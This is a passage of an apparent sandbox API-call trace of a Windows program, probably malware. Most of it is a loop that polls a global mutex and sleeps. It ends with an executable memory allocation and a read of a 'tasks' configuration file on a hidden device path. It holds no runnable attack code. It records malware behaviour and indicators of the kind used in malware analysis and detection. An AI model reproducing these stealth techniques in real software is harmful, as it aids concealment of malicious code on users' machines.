(dwMilliseconds=0xea60) [0128.817] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.817] CloseHandle (hObject=0xb0c) returned 1 [0128.817] Sleep (dwMilliseconds=0xea60) [0128.817] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.817] CloseHandle (hObject=0xb0c) returned 1 [0128.817] Sleep (dwMilliseconds=0xea60) [0128.835] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.836] CloseHandle (hObject=0xb0c) returned 1 [0128.836] Sleep (dwMilliseconds=0xea60) [0128.856] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.856] CloseHandle (hObject=0xb0c) returned 1 [0128.856] Sleep (dwMilliseconds=0xea60) [0128.875] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.875] CloseHandle (hObject=0xb0c) returned 1 [0128.875] Sleep (dwMilliseconds=0xea60) [0128.893] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.893] CloseHandle (hObject=0xb0c) returned 1 [0128.893] Sleep (dwMilliseconds=0xea60) [0128.913] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.913] CloseHandle (hObject=0xb0c) returned 1 [0128.913] Sleep (dwMilliseconds=0xea60) [0128.934] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.934] CloseHandle (hObject=0xb0c) returned 1 [0128.934] Sleep (dwMilliseconds=0xea60) [0128.952] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.952] CloseHandle (hObject=0xb0c) returned 1 [0128.952] Sleep (dwMilliseconds=0xea60) [0128.971] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.971] CloseHandle (hObject=0xb0c) returned 1 [0128.971] Sleep (dwMilliseconds=0xea60) [0128.989] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.989] CloseHandle (hObject=0xb0c) returned 1 [0128.989] Sleep (dwMilliseconds=0xea60) [0129.008] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.008] CloseHandle (hObject=0xb0c) returned 1 [0129.008] Sleep (dwMilliseconds=0xea60) [0129.026] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.026] CloseHandle (hObject=0xb0c) returned 1 [0129.026] Sleep (dwMilliseconds=0xea60) [0129.045] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.045] CloseHandle (hObject=0xb0c) returned 1 [0129.045] Sleep (dwMilliseconds=0xea60) [0129.064] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.064] CloseHandle (hObject=0xb0c) returned 1 [0129.064] Sleep (dwMilliseconds=0xea60) [0129.082] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.082] CloseHandle (hObject=0xb0c) returned 1 [0129.082] Sleep (dwMilliseconds=0xea60) [0129.101] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.101] CloseHandle (hObject=0xb0c) returned 1 [0129.101] Sleep (dwMilliseconds=0xea60) [0129.120] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.120] CloseHandle (hObject=0xb0c) returned 1 [0129.120] Sleep (dwMilliseconds=0xea60) [0129.139] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.139] CloseHandle (hObject=0xb0c) returned 1 [0129.139] Sleep (dwMilliseconds=0xea60) [0129.158] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.158] CloseHandle (hObject=0xb0c) returned 1 [0129.158] Sleep (dwMilliseconds=0xea60) [0129.176] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.176] CloseHandle (hObject=0xb0c) returned 1 [0129.176] Sleep (dwMilliseconds=0xea60) [0129.194] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.194] CloseHandle (hObject=0xb0c) returned 1 [0129.194] Sleep (dwMilliseconds=0xea60) [0129.213] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.213] CloseHandle (hObject=0xb0c) returned 1 [0129.213] Sleep (dwMilliseconds=0xea60) [0129.233] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.233] CloseHandle (hObject=0xb0c) returned 1 [0129.233] Sleep (dwMilliseconds=0xea60) [0129.252] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.252] CloseHandle (hObject=0xb0c) returned 1 [0129.252] Sleep (dwMilliseconds=0xea60) [0129.270] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.270] CloseHandle (hObject=0xb0c) returned 1 [0129.270] Sleep (dwMilliseconds=0xea60) [0129.289] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.289] CloseHandle (hObject=0xb0c) returned 1 [0129.289] Sleep (dwMilliseconds=0xea60) [0129.309] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.309] CloseHandle (hObject=0xb0c) returned 1 [0129.309] Sleep (dwMilliseconds=0xea60) [0129.332] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.332] CloseHandle (hObject=0xb0c) returned 1 [0129.332] Sleep (dwMilliseconds=0xea60) [0129.351] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.351] CloseHandle (hObject=0xb0c) returned 1 [0129.351] Sleep (dwMilliseconds=0xea60) [0129.370] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.370] CloseHandle (hObject=0xb0c) returned 1 [0129.370] Sleep (dwMilliseconds=0xea60) [0129.389] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.389] CloseHandle (hObject=0xb0c) returned 1 [0129.389] Sleep (dwMilliseconds=0xea60) [0129.408] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.408] CloseHandle (hObject=0xb0c) returned 1 [0129.408] Sleep (dwMilliseconds=0xea60) [0129.427] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.427] CloseHandle (hObject=0xb0c) returned 1 [0129.427] Sleep (dwMilliseconds=0xea60) [0129.445] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.446] CloseHandle (hObject=0xb0c) returned 1 [0129.446] Sleep (dwMilliseconds=0xea60) [0129.464] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.464] CloseHandle (hObject=0xb0c) returned 1 [0129.464] Sleep (dwMilliseconds=0xea60) [0129.483] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.483] CloseHandle (hObject=0xb0c) returned 1 [0129.483] Sleep (dwMilliseconds=0xea60) [0129.501] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.501] CloseHandle (hObject=0xb0c) returned 1 [0129.501] Sleep (dwMilliseconds=0xea60) [0129.520] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.520] CloseHandle (hObject=0xb0c) returned 1 [0129.520] Sleep (dwMilliseconds=0xea60) [0129.538] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.538] CloseHandle (hObject=0xb0c) returned 1 [0129.538] Sleep (dwMilliseconds=0xea60) [0129.557] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.557] CloseHandle (hObject=0xb0c) returned 1 [0129.557] Sleep (dwMilliseconds=0xea60) [0129.576] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.576] CloseHandle (hObject=0xb0c) returned 1 [0129.576] Sleep (dwMilliseconds=0xea60) [0129.596] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.596] CloseHandle (hObject=0xb0c) returned 1 [0129.596] Sleep (dwMilliseconds=0xea60) [0129.615] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.615] CloseHandle (hObject=0xb0c) returned 1 [0129.615] Sleep (dwMilliseconds=0xea60) [0129.636] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.636] CloseHandle (hObject=0xb0c) returned 1 [0129.636] Sleep (dwMilliseconds=0xea60) [0129.655] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.655] CloseHandle (hObject=0xb0c) returned 1 [0129.655] Sleep (dwMilliseconds=0xea60) [0129.674] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.674] CloseHandle (hObject=0xb0c) returned 1 [0129.674] Sleep (dwMilliseconds=0xea60) [0129.694] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.694] CloseHandle (hObject=0xb0c) returned 1 [0129.694] Sleep (dwMilliseconds=0xea60) [0129.705] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0129.705] CloseHandle (hObject=0xb78) returned 1 [0129.705] Sleep (dwMilliseconds=0xea60) [0129.705] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0129.705] CloseHandle (hObject=0xb78) returned 1 [0129.705] Sleep (dwMilliseconds=0xea60) [0129.720] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.720] CloseHandle (hObject=0xb0c) returned 1 [0129.720] Sleep (dwMilliseconds=0xea60) [0129.739] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.739] CloseHandle (hObject=0xb0c) returned 1 [0129.739] Sleep (dwMilliseconds=0xea60) [0129.746] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.746] CloseHandle (hObject=0xb0c) returned 1 [0129.746] Sleep (dwMilliseconds=0xea60) [0129.747] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.747] CloseHandle (hObject=0xb0c) returned 1 [0129.747] Sleep (dwMilliseconds=0xea60) [0129.765] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.765] CloseHandle (hObject=0xb0c) returned 1 [0129.765] Sleep (dwMilliseconds=0xea60) [0129.785] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.785] CloseHandle (hObject=0xb0c) returned 1 [0129.785] Sleep (dwMilliseconds=0xea60) [0129.802] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.802] CloseHandle (hObject=0xb0c) returned 1 [0129.803] Sleep (dwMilliseconds=0xea60) [0129.821] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.821] CloseHandle (hObject=0xb0c) returned 1 [0129.821] Sleep (dwMilliseconds=0xea60) [0129.837] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.837] CloseHandle (hObject=0xb0c) returned 1 [0129.837] Sleep (dwMilliseconds=0xea60) [0129.837] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.837] CloseHandle (hObject=0xb0c) returned 1 [0129.837] Sleep (dwMilliseconds=0xea60) [0129.845] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.845] CloseHandle (hObject=0xb0c) returned 1 [0129.845] Sleep (dwMilliseconds=0xea60) [0129.864] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.864] CloseHandle (hObject=0xb0c) returned 1 [0129.864] Sleep (dwMilliseconds=0xea60) [0129.880] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.880] CloseHandle (hObject=0xb0c) returned 1 [0129.880] Sleep (dwMilliseconds=0xea60) [0129.898] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.899] CloseHandle (hObject=0xb0c) returned 1 [0129.899] Sleep (dwMilliseconds=0xea60) [0129.915] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.915] CloseHandle (hObject=0xb0c) returned 1 [0129.915] Sleep (dwMilliseconds=0xea60) [0129.935] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.935] CloseHandle (hObject=0xb0c) returned 1 [0129.935] Sleep (dwMilliseconds=0xea60) [0129.953] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.953] CloseHandle (hObject=0xb0c) returned 1 [0129.953] Sleep (dwMilliseconds=0xea60) [0129.970] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.970] CloseHandle (hObject=0xb0c) returned 1 [0129.970] Sleep (dwMilliseconds=0xea60) [0129.988] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0129.988] CloseHandle (hObject=0xb0c) returned 1 [0129.988] Sleep (dwMilliseconds=0xea60) [0130.005] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.005] CloseHandle (hObject=0xb0c) returned 1 [0130.005] Sleep (dwMilliseconds=0xea60) [0130.029] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.029] CloseHandle (hObject=0xb0c) returned 1 [0130.029] Sleep (dwMilliseconds=0xea60) [0130.048] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.048] CloseHandle (hObject=0xb0c) returned 1 [0130.048] Sleep (dwMilliseconds=0xea60) [0130.067] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.067] CloseHandle (hObject=0xb0c) returned 1 [0130.067] Sleep (dwMilliseconds=0xea60) [0130.086] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.086] CloseHandle (hObject=0xb0c) returned 1 [0130.086] Sleep (dwMilliseconds=0xea60) [0130.105] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.105] CloseHandle (hObject=0xb0c) returned 1 [0130.105] Sleep (dwMilliseconds=0xea60) [0130.124] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.124] CloseHandle (hObject=0xb0c) returned 1 [0130.124] Sleep (dwMilliseconds=0xea60) [0130.143] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.143] CloseHandle (hObject=0xb0c) returned 1 [0130.143] Sleep (dwMilliseconds=0xea60) [0130.162] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.162] CloseHandle (hObject=0xb0c) returned 1 [0130.162] Sleep (dwMilliseconds=0xea60) [0130.181] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.181] CloseHandle (hObject=0xb0c) returned 1 [0130.181] Sleep (dwMilliseconds=0xea60) [0130.200] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.200] CloseHandle (hObject=0xb0c) returned 1 [0130.200] Sleep (dwMilliseconds=0xea60) [0130.218] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.218] CloseHandle (hObject=0xb0c) returned 1 [0130.218] Sleep (dwMilliseconds=0xea60) [0130.238] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.238] CloseHandle (hObject=0xb0c) returned 1 [0130.238] Sleep (dwMilliseconds=0xea60) [0130.257] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.257] CloseHandle (hObject=0xb0c) returned 1 [0130.257] Sleep (dwMilliseconds=0xea60) [0130.276] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.276] CloseHandle (hObject=0xb0c) returned 1 [0130.276] Sleep (dwMilliseconds=0xea60) [0130.295] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.295] CloseHandle (hObject=0xb0c) returned 1 [0130.295] Sleep (dwMilliseconds=0xea60) [0130.313] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.313] CloseHandle (hObject=0xb0c) returned 1 [0130.313] Sleep (dwMilliseconds=0xea60) [0130.337] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.337] CloseHandle (hObject=0xb0c) returned 1 [0130.337] Sleep (dwMilliseconds=0xea60) [0130.494] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.494] CloseHandle (hObject=0xb0c) returned 1 [0130.494] Sleep (dwMilliseconds=0xea60) [0130.502] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.502] CloseHandle (hObject=0xb0c) returned 1 [0130.502] Sleep (dwMilliseconds=0xea60) [0130.519] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.519] CloseHandle (hObject=0xb0c) returned 1 [0130.519] Sleep (dwMilliseconds=0xea60) [0130.536] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.536] CloseHandle (hObject=0xb0c) returned 1 [0130.536] Sleep (dwMilliseconds=0xea60) [0130.541] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0130.541] CloseHandle (hObject=0xb78) returned 1 [0130.541] Sleep (dwMilliseconds=0xea60) [0130.541] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0130.541] CloseHandle (hObject=0xb78) returned 1 [0130.541] Sleep (dwMilliseconds=0xea60) [0130.562] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.562] CloseHandle (hObject=0xb0c) returned 1 [0130.562] Sleep (dwMilliseconds=0xea60) [0130.580] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.580] CloseHandle (hObject=0xb0c) returned 1 [0130.580] Sleep (dwMilliseconds=0xea60) [0130.600] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.600] CloseHandle (hObject=0xb0c) returned 1 [0130.600] Sleep (dwMilliseconds=0xea60) [0130.620] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.620] CloseHandle (hObject=0xb0c) returned 1 [0130.620] Sleep (dwMilliseconds=0xea60) [0130.644] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.645] CloseHandle (hObject=0xb0c) returned 1 [0130.645] Sleep (dwMilliseconds=0xea60) [0130.667] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.667] CloseHandle (hObject=0xb0c) returned 1 [0130.667] Sleep (dwMilliseconds=0xea60) [0130.690] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.690] CloseHandle (hObject=0xb0c) returned 1 [0130.690] Sleep (dwMilliseconds=0xea60) [0130.712] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.712] CloseHandle (hObject=0xb0c) returned 1 [0130.712] Sleep (dwMilliseconds=0xea60) [0130.734] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.734] CloseHandle (hObject=0xb0c) returned 1 [0130.734] Sleep (dwMilliseconds=0xea60) [0130.762] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.762] CloseHandle (hObject=0xb0c) returned 1 [0130.762] Sleep (dwMilliseconds=0xea60) [0130.785] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.785] CloseHandle (hObject=0xb0c) returned 1 [0130.785] Sleep (dwMilliseconds=0xea60) [0130.810] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.810] CloseHandle (hObject=0xb0c) returned 1 [0130.810] Sleep (dwMilliseconds=0xea60) [0130.833] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0130.834] CloseHandle (hObject=0xb0c) returned 1 [0130.834] Sleep (dwMilliseconds=0xea60) Thread: id = 196 os_tid = 0x3a0 [0081.892] Sleep (dwMilliseconds=0x5265c00) Thread: id = 197 os_tid = 0x3a4 [0081.892] __chkstk () returned 0x1830 [0081.892] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x120000 [0081.892] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.892] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x120000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0081.893] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, 